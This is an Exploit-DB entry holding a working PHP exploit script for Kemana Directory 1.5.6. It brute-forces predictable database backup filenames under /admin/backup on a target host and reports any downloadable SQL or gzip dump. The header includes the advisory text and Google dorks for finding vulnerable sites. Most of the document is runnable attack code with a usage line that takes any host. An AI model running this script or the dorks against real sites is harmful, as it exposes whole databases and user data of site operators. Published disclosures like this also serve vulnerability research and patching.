Exploit-DB #32509
Description: Kemana Directory 1.5.6 - Database Backup Disclosure
Type: webapps
Platform: php
Date: 2014-03-25
Author: LiquidWorm

Exploit:
<?php

/*

Kemana Directory 1.5.6 Database Backup Disclosure Exploit


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 1.5.6

Summary: Experience the ultimate directory script solution
with Kemana. Create your own Yahoo or Dmoz easily with Kemana.
Unique Kemana's features including: CMS engine based on our
qEngine, multiple directories support, user friendly administration
control panel, easy to use custom fields, unsurpassed flexibility.

Desc: Kemana stores database backups using the Backup DB tool
with a predictable file name inside the '/admin/backup' directory
as '_Full Backup YYYYMMDD_1.sql' or '_Full Backup YYYYMMDD_1.gz',
which can be exploited to disclose sensitive information by
downloading the file. The '/admin/backup' is also vulnerable to
directory listing by default.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5176
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5176.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

*/


error_reporting(0);

function status($done, $total, $size=20)
{
	static $start_time;
 	if($done > $total) return;
 	if(empty($start_time)) $start_time=time();

	$now = time();
 	$perc=(double)($done/$total);
 	$bar=floor($perc*$size);

 	$disp=number_format($perc*100, 0);
 
	$status_bar="\r $disp% [";
	$status_bar.=str_repeat("=", $bar);
	if($bar<$size)
	{
		$status_bar.=">";
		$status_bar.=str_repeat(" ", $size-$bar);
	} else
		{
			$status_bar.="=";
		}
 	
 	$status_bar.="] $done/$total";
 
	$rate = ($now-$start_time)/$done;
	$left = $total - $done;
	$eta = round($rate * $left, 2);
	$elapsed = $now - $start_time;
 
	$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";
 
	echo "$status_bar ";
	flush();
 
	if($done == $total)
	{
		echo "\n";
	}
}

print "
 @---------------------------------------------------------------@
 |                                                               |
 |   Kemana Directory 1.5.6 Database Backup Disclosure Exploit   |
 |                                                               |
 |                                                               |
 |              Copyleft (c) 2014, Zero Science Lab              |
 |                                                               |
 |                   Advisory ID: ZSL-2014-5176                  |
 |                       www.zeroscience.mk                      |
 |                                                               |
 @---------------------------------------------------------------@
	  ";

if ($argc < 4)
{
    print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";
    print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";
    die();
}

$godina_array = array('2014','2013','2012','2011','2010');

$mesec_array = array('12','11','10','09',
					 '08','07','06','05',
					 '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
				  '25','24','23','22','21','20',
	  			  '19','18','17','16','15','14',
				  '13','12','11','10','09','08',
	  			  '07','06','05','04','03','02',
	  			  '01');

$host = $argv[1];
$port = intval($argv[2]);
$path = $argv[3];
$dbnm = "Full%20Backup%20";

$alert1 = "\033[1;31m";
$alert2 = "\033[0;37m";
$alert3 = "\033[1;32m";

echo "\n [*] Running checks:\n\n";

foreach($godina_array as $godina)
{
	foreach($mesec_array as $mesec)
	{
		$x++;
		status($x, 58);
		foreach($dn_array as $dn)
		{
			$ext=".gz";
			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))
			{
				echo "\n";
				echo $alert1;
				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
				echo $alert2;
				print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";
				print " Full URL:\x20";
				echo $alert3;
				die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");
			}
			$ext=".sql";
			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))
			{
				echo "\n";
				echo $alert1;
				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
				echo $alert2;
				print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";
				print " Full URL:\x20";
				echo $alert3;
				die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");
			}
		}
	}
}

print "\n\n [*] Zero findings!\n\n\n";

?>